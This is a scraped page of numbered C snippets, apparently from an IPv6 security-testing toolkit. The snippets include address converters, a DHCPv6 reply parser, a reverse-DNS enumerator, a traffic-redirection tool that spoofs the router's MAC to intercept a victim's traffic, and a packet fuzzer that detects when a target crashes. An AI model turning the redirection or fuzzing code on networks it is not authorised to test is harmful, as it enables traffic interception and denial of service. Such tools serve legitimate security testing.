                printf("    Route: illegal\n");
            else {
                memset(tmpbuf, 0, sizeof(tmpbuf));
                memcpy(tmpbuf, ptr + 8, 8);
                printf("    Route: %s/%d (Lifetime: %u)\n", thc_ipv62notation(tmpbuf), ptr[2], (ptr[4] << 24) + (ptr[5] << 16) + (ptr[6] << 8) + ptr[7]);
                printf("      Priority:");
                k = ptr[3] & 24;
                switch (k) {
                case 0:
                    printf("medium\n");
                    break;
                case 8:
                    printf("high\n");
                    break;
                case 16:
                    printf("reserved value\n");
                    break;
                case 24:
                    printf("low\n");
                    break;
                }
            }
            break;
        case 31:
            ptr2 = ptr + 9;
            while (*ptr2 != 0) {
                if (*ptr2 < 32 && *ptr2 > 0)
                    *ptr2 = '.';
                ptr2++;
            }
            printf("    DNS Searchlist: %s (Lifetime: %u)\n", ptr + 9, (ptr[4] << 24) + (ptr[5] << 16) + (ptr[6] << 8) + ptr[7]);
            break;
        case 25:
            if (ptr[1] != 3)
                printf("    DNS: illegal\n");
            else {
                printf("    DNS: %s (Lifetime: %u/%u)\n", thc_ipv62notation(ptr + 8), (ptr[4] << 24) + (ptr[5] << 16) + (ptr[6] << 8) + ptr[7],
                       (ptr[8] << 24) + (ptr[9] << 16) + (ptr[10] << 8) + ptr[11]);
            }
            break;
        default:
            printf("    Unknown Option Type: %d (size: %d bytes)\n", ptr[0], ptr[1] * 8);
        }
        i -= ptr[1] * 8;
        ptr += ptr[1] * 8;
    }

    printf("\n");
}
Пример #11
0
int main(int argc, char *argv[]) {
  unsigned char *ptr, *dst6, ipv4[16] = "", ipv6[40], *prefix;
  int i, j, k, found = 0;
  struct in_addr in;

  if (argc < 2 || argc > 3 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if ((dst6 = index(argv[1], '/')) != NULL)
    *dst6 = 0;
  if ((dst6 = thc_resolve6(argv[1])) != NULL) { // ipv6 address
    if (dst6[11] == 0xff && dst6[12] == 0xfe) { // EUI-64 encoding of mac
      printf("%02x:%02x:%02x:%02x:%02x:%02x\n", (dst6[8] ^ 2), dst6[9], dst6[10], dst6[13], dst6[14], dst6[15]);
      return 1;
    }
    if (dst6[8] + dst6[10] + dst6[12] + dst6[14] == 0 && dst6[9] != 0) { // hexdecimal ipv4
      j = 0;
      for (i = 0; i < 4; i++)
        if (dst6[9 + i*2] > 9)
          j++;
      if (j > 0) {
        sprintf(ipv4, "%d.%d.%d.%d", dst6[9], dst6[11], dst6[13], dst6[15]);
        if (inet_aton(ipv4, &in) != 0) {
          printf("%s\n", ipv4);
          found++;
        }
      }
    }
    if (dst6[8] + dst6[9] + dst6[10] + dst6[11] == 0 && dst6[12] != 0) { // hexdecimal ipv4 #2
      sprintf(ipv4, "%d.%d.%d.%d", dst6[12], dst6[13], dst6[14], dst6[15]);
      if (inet_aton(ipv4, &in) != 0) {
        printf("%s\n", ipv4);
        found++;
      }
    }
    // now try for decimal ipv4 encoding
    memset(dst6, 0, 8);
    ptr = thc_ipv62notation(dst6);
    ptr += 2;
    j = 0;
    for (i = 0; i < strlen(ptr); i++)
      if (ptr[i] > ':')
        j++;
      else
        if (ptr[i] == ':')
          ptr[i] = '.';
    if (j == 0 && inet_aton(ptr, &in) != 0) {
      j = 0;
      for (i = 0; i < strlen(ptr); i++)
        if (ptr[i] == '.')
          j++;
      if (j == 3) {
        printf("%s\n", ptr);
        found++;
      }
    }

    if (found > 0)
      return found;
    
    fprintf(stderr, "Error: the ipv6 address does not contain a mac or encoded ipv4 address\n");
    return -1;
  }
  
  // now check for a prefix argument
  if (argc == 3) {
    if ((ptr = index(argv[2], '/')) != NULL)
      *ptr = 0;
    if ((prefix = thc_resolve6(argv[2])) == NULL) {
      fprintf(stderr, "Error: invalid prefix: %s\n", argv[2]);
      return -1;
    }
  } else
    prefix = thc_resolve6("fe80::");

  if (index(argv[1], '.') != NULL) { // ipv4 to ipv6
    ptr = argv[1];
    for (i = 0; i < 4; i++) {
      if ((dst6 = index(ptr, '.')) != NULL)
        *dst6 = 0;
      ipv4[i] = atoi(ptr);
      if ((i < 3 && dst6 == NULL) || (i == 3 && dst6 != NULL)) {
        i = 3;
        ipv4[0] = 0;
      } else
        if (dst6 != NULL)
          ptr = dst6 + 1;
    }
    j = 0;
    k = 0;
    for (i = 0; i < 4; i++) {
      if (ipv4[i] > 255)
        j++;
      if (ipv4[i] > 9)
        k = 1;
    }
    if (j == 0 && ipv4[0] != 0) { // from here we know its a valid ipv4 address
      memcpy(ipv6, prefix, 8);
      memset(ipv6 + 8, 0, 8);
      for (i = 0; i < 4; i++)
        ipv6[9 + i*2] = ipv4[i];
      printf("%s\n", thc_ipv62notation(ipv6)); // hex representation #1
      memset(ipv6 + 8, 0, 4);
      memcpy(ipv6 + 12, ipv4, 4);
      printf("%s\n", thc_ipv62notation(ipv6)); // hex representation #2
      memset(ipv6 + 8, 0, 7);
      ipv6[15] = ipv4[3];
      printf("%s\n", thc_ipv62notation(ipv6)); // hex representation #3
      
      if (k) { // do we need decimal representation too, or would it be a double?
        sprintf(ipv6, "::%d:%d:%d:%d", ipv4[0], ipv4[1], ipv4[2], ipv4[3]);
        dst6 = thc_resolve6(ipv6);
        memcpy(dst6, prefix, 8);
        printf("%s\n", thc_ipv62notation(dst6));
      }

      if (ipv4[3] < 10)
        return (3 + k);
      else {   // 2nd decimal representation
        sprintf(ipv6, "::%d", ipv4[3]);
        dst6 = thc_resolve6(ipv6);
        memcpy(dst6, prefix, 8);
        printf("%s\n", thc_ipv62notation(dst6));
        return (4 + k);
      }
    }
  }

  if (index(argv[1], ':') != NULL) { // mac to ipv6
    sscanf(argv[1], "%x:%x:%x:%x:%x:%x", (unsigned int *) &k, (unsigned int *) &ipv6[9], (unsigned int *) &ipv6[10], (unsigned int *) &ipv6[13], (unsigned int *) &ipv6[14], (unsigned int *) &ipv6[15]);
    memcpy(ipv6, prefix, 8);
    ipv6[8] = (k ^ 2);
    ipv6[11] = 0xff;
    ipv6[12] = 0xfe;
    printf("%s\n", thc_ipv62notation(ipv6));
    return 1;
  }

  fprintf(stderr, "Error: neither a valid mac, ipv4 or ipv6 address\n");
  return -1;
}
Пример #12
0
void detect(u_char *foo, const struct pcap_pkthdr *header, unsigned char *data) {
  char *ptr = data, *ptr2;
  int i, j, k, offset = 8, doit, len = header->caplen;

  if (do_hdr_size) {
    len -= do_hdr_size;
    ptr += do_hdr_size;
    thc_dump_data(ptr, 8, "packet");
    if ((ptr[0] & 240) != 0x60)
      return;
  } else {
    len -= 14;
    ptr += 14;
  }

  // drop ff00::/8 and ::/128
  for (k = 0; k <= do_dst; k++) {
    doit = 0;

    if (ptr[offset] != 0xff
         &&
        ( maxhop > 254 || ptr[7] >= 255 - maxhop || (ptr[7] >= 128 - maxhop && ptr[7] <= 128) || (ptr[7] >= 64 - maxhop && ptr[7] <= 64) )
       )
      doit = 1;
    if (memcmp(ptr + 8, d[dcnt + 1], 16) == 0) {
      if (k == 0 && ptr[7] == 255 && ptr[6] == NXT_ICMP6 && ptr[40] == ICMP6_NEIGHBORSOL && len >= 64) {
        doit = 1;   // DAD packet
        offset = 48;
      } else
        doit = 0;
    }
    
    // is it our own address?
    if (memcmp(ptr + offset + 8, hostpart, 8) == 0)
      doit = 0;

    if (doit) {
      // replace prefix with link-local if -R
      if (replace != NULL)
        if (memcmp(ptr + offset, replace, 8) == 0)
          memcpy(ptr + offset, ll, 8);

      // check for doubles
      j = 0;
      if (dcnt > 0)
        for (i = 0; i < dcnt && j == 0; i++)
          if (memcmp(ptr + offset, d[i], 16) == 0)
            j = 1;
  
      if (j == 0) { // no double
        ptr2 = thc_ipv62notation((char *) (ptr + offset));
        printf("%s%s\n", noverb == 0 ? "Detected: " : "", ptr2);
  
        if (dcnt < MAX_ENTRIES) { // add to double list
          memcpy(d[dcnt], ptr + offset, 16);
          dcnt++;
        } else
          if (dcnt == MAX_ENTRIES) { // table full? should not happen, smells like attack
            dcnt++;
            fprintf(stderr, "Warning: Table for detected IPv6 addresses is full, doubles can occur now!\n");
          }

        if (script != NULL && fork() == 0) { // beware, this can DOS you
          (void) wait3(NULL, WNOHANG, NULL);
          snprintf(exec, sizeof(exec), "%s %s %s\n", script, ptr2, interface);
          if (system(exec) < 0)
            fprintf(stderr, "Error: Executing failed - %s\n", exec);
          exit(0);
        }

        free(ptr2);
      }
    }

    offset += 16;
  }
}
Пример #13
0
void check_packets(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) {
  int len = header->caplen, rlen, i, j, k;
  unsigned char *ptr = (unsigned char *) data, *rdata, type;
  char mybuf[1024] = { 0x03, 0, 0, 0, 0, 8, 0, 2, 0, 0 };

  if (do_hdr_size) {
    data += do_hdr_size;
    len -= do_hdr_size;
    if ((data[0] & 240) != 0x60)
      return;
  } else {
    data += 14;
    len -= 14;
  }
  rlen = len;
  rdata = (unsigned char *) data;

//printf("x %d < 126, %d != %d, %d != 2||7\n", len, data[6], NXT_UDP, data[48]);
  if (len < 100 || data[6] != NXT_UDP || (data[48] != 2 && data[48] != 7))
    return;
//printf("y\n");

  type = data[48];
  data += 48;
  len -= 48;

  memcpy(mybuf + 1, data + 1, 3);
  data += 4;
  len -= 4;

/*
  while (len >= 4) {
    if ((olen = data[2] * 256 + data[3]) > len - 4 || olen < 0) {
      printf("Information: evil packet received\n");
      olen = 0;
      len = -1;
    } else {
      if (data[1] > 1 && data[1] <= 3) {
        memcpy(mybuf + mlen, data, olen + 4);
        mlen += olen + 4;
      } else if (data[1] == 1) {
        memcpy(mybuf + mlen, data, olen + 4);
        mlen += olen + 4;
        if (olen == 14)
          smac = (char *) (data + 12);
        else
          smac = mac;
      }
      data += olen + 4;
      len -= olen + 4;
      if (len < 0) {
        printf("Information: evil packet received\n");
        len = -1;
      }
    }
  }
*/
  if (len >= 4) {
    counter++;
    printf("\nDHCPv6 packet received: %s\n", type == 2 ? "Advertise" : "Reply");
    printf("  Server IP6: %s\n", thc_ipv62notation(rdata + 8));
    printf("  Server MAC: %02x:%02x:%02x:%02x:%02x:%02x\n", ptr[6], ptr[7], ptr[8], ptr[9], ptr[10], ptr[11]);
    while (len >= 4) {
      i = data[0] * 256 + data[1];
      j = data[2] * 256 + data[3];
      if (j + 4 > len) {
        printf("Evil Packet!\n");
        return;
      }
      switch(i) {
        case 1:
          //printf(""); // client identifier
          break;
        case 2:
          if (j > 0) {
            printf("    Server Identifier: "); // server identier
            for (k = 0; k < j; k++) {
              printf("%02x", (unsigned char) data[4 + k]);
            }
            printf("\n");
          }
          break;
        case 3:
          if (j >= 16 && data[16] == 0 && data[17] == 5)
            printf("    Address Offered: %s\n", thc_ipv62notation((unsigned char*)data + 20));
          break;
        case 7:
          printf("    Prefered value (not implemented)\n"); // prefered value
          break;
        case 13:
        case 19:
          if (j >= 2) {
            printf("    Status Code: %d", data[4] * 256 + data[5]);
            if (j > 2) {
              printf(" (");
              for (k = 0; k < (j - 2); k++)
                printf("%c", isprint(data[6 + k]) ? data[6 + k] : '.');
              printf(")");
            }
            printf("\n");
          }
          break;
        case 20:
          printf("    Reconfigure Request: Accepted\n"); // reconfigure accept
          break;
        case 21:
          printf("    SIP Domain List: "); // sip server domain list
          for (k = 1; k < j; k++) {
            if (data[4 + k] == 0 && k + 1 < j) {
              printf(". + ");
              k++;
            } else
              printf("%c", isprint(data[4 + k]) ? data[4 + k] : '.');
          }
          printf("\n");
          break;
        case 23:
          if (j >= 16)
            for (k = 0; k < (j / 16); k++)
              printf("    DNS Server: %s\n", thc_ipv62notation((unsigned char*)data + 4 + (k * 16)));
          break;
        case 25:
          if (data[17] == 0x1a)
            printf("    Prefix Delegation: %s\n", thc_ipv62notation((unsigned char*) data + 29));
          break;
        case 31:
          if (j >= 16)
            for (k = 0; k < (j / 16); k++)
              printf("    NTP Server: %s\n", thc_ipv62notation((unsigned char*)data + 4 + (k * 16)));
          break;
        case 32:
          if (j >= 4)
            printf("    Lifetime: %u\n", (unsigned int) ((data[4] << 24) + (data[5] << 16) + (data[6] << 8) + data[7]));
          break;
        case 64:
          if (j > 1) {
            printf("    AFTR Server: ");
            for (k = 0; k < (j - 1); k++)
              printf("%c", isprint(data[5 + k]) ? data[5 + k] : '.');
            printf("\n");
          }
          break;
        case 99:
          if (j >= 16)
            for (k = 0; k < (j / 16); k++)
              printf("    DHCPv4OverIPv6 Server: %s\n", thc_ipv62notation((unsigned char*)data + 4 + (k * 16)));
          break;
        case 199:
          if (j >= 16)
            for (k = 0; k < (j / 16); k++)
              printf("    ?199? Server: %s\n", thc_ipv62notation((unsigned char*)data + 4 + (k * 16)));
          break;
        default:
          printf("    Unknown option type: %d\n", i);
      }
      len -= (4 + j);
      data += (4 + j);
    }
    printf("\n");
  }
}
Пример #14
0
int deeper(int depth) {
  unsigned char r[16], *ptr2;
  int i, j, ok = 0, rs = 0, len, clen, nlen;
  
  if (depth > 31)
    return -1;
  memset(r, 0, sizeof(r));
  
  // generate base packet
  cnt++;
  buf[1] = cnt;
  for (i = 0; i < depth; i++) {
    buf[sizeof(buf_start) + 2 + i * 2] = 1;
    buf[sizeof(buf_start) + 2 + i * 2 + 1] = range[depth - i - 1];
  }
  memcpy(buf + sizeof(buf_start) + 2 + depth * 2, buf_end, sizeof(buf_end));
  buf_len = sizeof(buf_start) + 2 + depth * 2 + sizeof(buf_end);
  
  // loop to finish generation and send
redo:
  for (i = 0; i < 16; i++) {
    if (r[i] == 0) {
      buf[0] = i;
      buf[13] = tohex(i);

      if (send(sock, buf, buf_len, 0) < 0) {
        fprintf(stderr, "Error: can not send to network!\n");
        exit(-1);
      } else
        usleep(5);
    }
  }

  //recveive and process replies
  wait = 1;
  alarm(waittime);
  while(ok == 0 && wait == 1) {
    if ((len = recv(sock, buf2, sizeof(buf2), 0)) > 70 && buf2[1] == cnt) {
      i = (buf2[0] & 15);
      if ((buf2[3] & 3) == 0) {
        if (depth == 31) {
          r[i] = 3;
          if (buf2[7] == 1) {
            found++;
            strcpy(name, "Found: ");
            ptr2 = buf2 + 12;
            i = 0;
            while (i < 32 && *ptr2 == 1) {
              if (i % 2 == 0)
                j = tochar(ptr2[1]);
              else
                dst6[15 - i/2] = (tochar(ptr2[1]) * 16) + j;
              ptr2 += 2;
              i++;
            }
            strcat(name, thc_ipv62notation(dst6));
            strcat(name, " is ");
            ptr2 = buf2 + 102;
            while (*ptr2 != 0 && ptr2 + *ptr2 + 1 <= buf2 + len) {
              clen = *ptr2;
              nlen = *(ptr2 + clen + 1);
              *(ptr2 + clen + 1) = 0;
              strcat(name, ptr2 + 1);
              strcat(name, ".");
              *(ptr2 + *ptr2 + 1) = nlen;
              ptr2 += clen + 1;
            }
            if (debug) {
              strcat(name, " is ");
              ptr2 = buf2 + 12;
              while (*ptr2 != 0 && ptr2 + *ptr2 + 1 <= buf2 + len) {
                clen = *ptr2;
                nlen = *(ptr2 + clen + 1);
                *(ptr2 + clen + 1) = 0;
                strcat(name, ptr2 + 1);
                strcat(name, ".");
                *(ptr2 + *ptr2 + 1) = nlen;
                ptr2 += clen + 1;
              }
            }
            printf("%s\n", name);
          
          }
        } else
          r[i] = 2;
      } else
        r[i] = 1;
      rs++;
    }
  
    if (rs == 16)
      ok = 1;
  }
  alarm(0);

  if (ok == 1 || rs == 16) { // all packets received
    for (i = 0; i < 16; i++)
      if (r[i] == 2) {
        range[depth] = tohex(i);
        deeper(depth + 1);
      }
  } else { // packet loss / timeout
    if (rs < 16)
      waittime++;
    if (rs < 11)
      waittime++;
    if (rs < 6)
      waittime++;
    if (rs < 2)
      waittime++;
    if ((rs == 0 && (waittime >= WAITTIME_START + 6)) || waittime > 15) {
      fprintf(stderr, "Error: DNS Server %s is not answering or not reliable enough anymore!\n", dst);
      exit(-1);
    }
    fprintf(stderr, "Warning: packet loss, increasing response timeout to %d seconds\n", waittime);
    goto redo;
  }
  
  return rs;
}
Пример #15
0
int main(int argc, char *argv[]) {
  int rawmode = 0, offset = 14;
  char string[256] = "ip6";

  if (argc < 5 || strncmp(argv[1], "-h", 2) == 0)
    help(argv[0]);

  if (strcmp(argv[1], "-r") == 0) {
    thc_ipv6_rawmode(1);
    rawmode = 1;
    argv++;
    argc--;
  }

  if (do_hdr_size)
    offset = do_hdr_size;
  interface = argv[1];
  if ((src6 = thc_resolve6(argv[2])) == NULL) {
    if (strcmp(argv[2], "*") != 0) {
      fprintf(stderr, "Error: victim-ip is not a valid IPv6 address or '*': %s\n", argv[2]);
      exit(-1);
    }
  }
  if ((dest6 = thc_resolve6(argv[3])) == NULL) {
    if (strcmp(argv[3], "*") != 0) {
      fprintf(stderr, "Error: destination-ip is not a valid IPv6 address or '*': %s\n", argv[3]);
      exit(-1);
    }
  }

  if ((oldrouter6 = thc_resolve6(argv[4])) == NULL) {
    fprintf(stderr, "Error: old-router is not a valid IPv6 address: %s\n", argv[4]);
    exit(-1);
  }

  if (argc >= 6) {
    if ((newrouter6 = thc_resolve6(argv[5])) == NULL) {
      fprintf(stderr, "Error: new-router is not a valid IPv6 address: %s\n", argv[5]);
      exit(-1);
    }
  } else
    newrouter6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK);
    
  /* Spoof source mac */
  if ((self6 = thc_get_own_ipv6(interface, oldrouter6, PREFER_GLOBAL)) == NULL) {
    fprintf(stderr, "Error: could not get own IP address to contact original-router\n");
    exit(-1);
  }
  if ((fakemac = thc_get_mac(interface, self6, oldrouter6)) == NULL) {
    fprintf(stderr, "Error: could not resolve mac address for original-router\n");
    free(self6);
    exit(-1);
  }

  mac6 = mac;
  if (argc >= 7)
    sscanf(argv[6], "%x:%x:%x:%x:%x:%x", (unsigned int *) &mac[0], (unsigned int *) &mac[1], (unsigned int *) &mac[2], (unsigned int *) &mac[3], (unsigned int *) &mac[4],
           (unsigned int *) &mac[5]);
  else
    mac6 = thc_get_own_mac(interface);
  realownmac = thc_get_own_mac(interface);

  if (src6 != NULL) {
    strcat(string, " and src ");
    strcat(string, thc_ipv62notation(src6));
  }
  if (dest6 != NULL) {
    strcat(string, " and dst ");
    strcat(string, thc_ipv62notation(dest6));
  }

  printf("Starting sniffer to get traffic to be redirected (press Control-C to end) ...\n");
  return thc_pcap_function(interface, string, (char *) intercept, 1, NULL);
}
Пример #16
0
int fuzz_loop(char* pkt, int* pkt_len) {
  int do_fuzz = 1;
  int test_pos = 0, test_ptr = 0, test_cnt = 0, test_current = 0;
  int do_it;
  int i;
  unsigned short int *sip;
  unsigned int *intp;
  int fragment = 0, frag_offset = 0;
  unsigned char *pkt_bak;
  thc_ipv6_hdr *hdr = (thc_ipv6_hdr *) pkt;

  // backup of generated packet
  pkt_bak = malloc(hdr->pkt_len);
  memcpy(pkt_bak, hdr->pkt, hdr->pkt_len);

  printf("Fuzzing packet, starting at fuzz case %d, ending at fuzz case %d:\n", test_start, test_end);
  printf("fuzzbuf(%d): %s\n", strlen(fuzzbuf), fuzzbuf);
  while (do_fuzz) {
    if (test_cnt == 0)
      while (fuzzbuf[test_ptr] == '.') {
        test_ptr++;
        test_pos++;
      }

    if (fuzzbuf[test_ptr] == 0)
      do_fuzz = 0;

    test_cnt++;
    do_it = 1;


    switch (fuzzbuf[test_ptr]) {
    case 0:
      break;
    case 'X':
      if (test_cnt <= COUNT_EXTEND) {
        if (pkt_bak[test_pos] != extends[test_cnt - 1])
          hdr->pkt[test_pos] = extends[test_cnt - 1];
        else
          do_it = 0;
      } else {
        test_cnt = 0;
        test_ptr++;
        test_pos++;
      }
      break;
    case 'B':
      if (test_cnt <= COUNT_BYTE) {
        if (pkt_bak[test_pos] != bytes[test_cnt - 1])
          hdr->pkt[test_pos] = bytes[test_cnt - 1];
        else
          do_it = 0;
      } else {
        i = 0;
        while (i < COUNT_BYTE && do_it) {
          if (bytes[i] == pkt_bak[test_pos])
            do_it = 0;
          i++;
        }
        if (do_it)
          hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1];
      }
      if (test_cnt == COUNT_BYTE + COUNT_XOR) {
        test_cnt = 0;
        test_ptr++;
        test_pos++;
      }
      break;
    case 'F':
      if (test_cnt <= COUNT_FLAG) {
        if (pkt_bak[test_pos] != flags[test_cnt - 1])
          hdr->pkt[test_pos] = flags[test_cnt - 1];
        else
          do_it = 0;
      } else {
        i = 0;
        while (i < COUNT_FLAG && do_it) {
          if (bytes[i] == pkt_bak[test_pos])    // yes, bytes[] is the right one even for flags
            do_it = 0;
          i++;
        }
        if (do_it)
          hdr->pkt[test_pos] = hdr->pkt[test_pos] ^ xors[test_cnt - COUNT_BYTE - 1];
      }
      if (test_cnt == COUNT_FLAG + COUNT_XOR) {
        test_cnt = 0;
        test_ptr++;
        test_pos++;
      }
      break;
    case 'W':
      sip = (unsigned short int *) &pkt_bak[test_pos];
      if (test_cnt <= COUNT_WORD) {
        if (*sip != words[test_cnt - 1])
          memcpy((char *) &hdr->pkt[test_pos], (char *) &words[test_cnt - 1], 2);
        else
          do_it = 0;
      } 
      else {
        i = 0;
        while (i < COUNT_WORD && do_it) {
          if (words[i] == *sip)
            do_it = 0;
          i++;
        }
        if (do_it) {
          i = *sip ^ xors[test_cnt - COUNT_WORD - 1];
          sip = (unsigned short int *) &hdr->pkt[test_pos];
          *sip = i % 65536;
        }
      }
      if (test_cnt == COUNT_WORD + COUNT_XOR) {
        test_cnt = 0;
        test_ptr++;
        test_pos += 2;
      }
      break;
    case 'D':
      intp = (unsigned int *) &pkt_bak[test_pos];
      if (test_cnt <= COUNT_DWORD) {
        if (*intp != dwords[test_cnt - 1])
          memcpy((char *) &hdr->pkt[test_pos], (char *) &dwords[test_cnt - 1], 4);
        else
          do_it = 0;
      } else {
        i = 0;
        while (i < COUNT_DWORD && do_it) {
          if (dwords[i] == *intp)
            do_it = 0;
          i++;
        }
        if (do_it) {
          i = *intp ^ xors[test_cnt - COUNT_DWORD - 1];
          intp = (unsigned int *) &hdr->pkt[test_pos];
          *intp = (unsigned int) i;
//          *intp = (unsigned int) (i % 4294967295);
        }
      }
      if (test_cnt == COUNT_DWORD + COUNT_XOR) {
        test_cnt = 0;
        test_ptr++;
        test_pos += 4;
      }
      break;
    default:
      fprintf(stderr, "This character should not be in the fuzz string, shoot the programmer: %c(%d) position %d string %s\n", fuzzbuf[test_ptr], fuzzbuf[test_ptr], test_ptr,
              fuzzbuf);
      return -1;
      break;
    }

    if (do_it && do_fuzz) {
      if (test_current >= test_start && test_current <= test_end && do_fuzz) {
        printf("[%s] pos[%d]=%c -> %d | pkt[%d] | %d (%d=>%d)| \n", /*fuzzbuf*/"", test_ptr, fuzzbuf[test_ptr], test_cnt, test_pos, test_current, test_start, test_end);

        // Generate new transaction id
        int three_byte_test_current = test_current % 0x1000000;
        memcpy(hdr->pkt + 63, (char *) &three_byte_test_current, 3);

        // Regenerate UDP checksum 
        hdr->pkt[60] = 0;
        hdr->pkt[61] = 0;
        i = checksum_pseudo_header(hdr->original_src, hdr->final_dst, NXT_UDP, &hdr->pkt[54], hdr->pkt_len - 54);
        hdr->pkt[60] = i / 256;
        hdr->pkt[61] = i % 256;

        // send packets
        int k;
        for (k = 0; k < no_send; k++) {
          while(thc_send_pkt(interface, pkt, pkt_len) < 0)
            usleep(1);
        }
        // printf(".");
        usleep(250);

        // TODO: Server up check
        if ((test_current - test_start) % ping == 0 && test_current != 0 && test_start != test_current)
          if (check_alive(p) == 0) {
            i = ((((test_current - test_start) / ping) - 1) * ping) + test_start + 1;
            printf("\nResult: target %s crashed during fuzzing, offending test case no. could be %d to %d\n", thc_ipv62notation(hdr->final_dst), i < 0 ? 0 : i, test_current);
            exit(1);
          }
      }

      // reset to basic packet
      memcpy(hdr->pkt, pkt_bak, hdr->pkt_len);
      test_current++;
    }
  }
  return 0;
}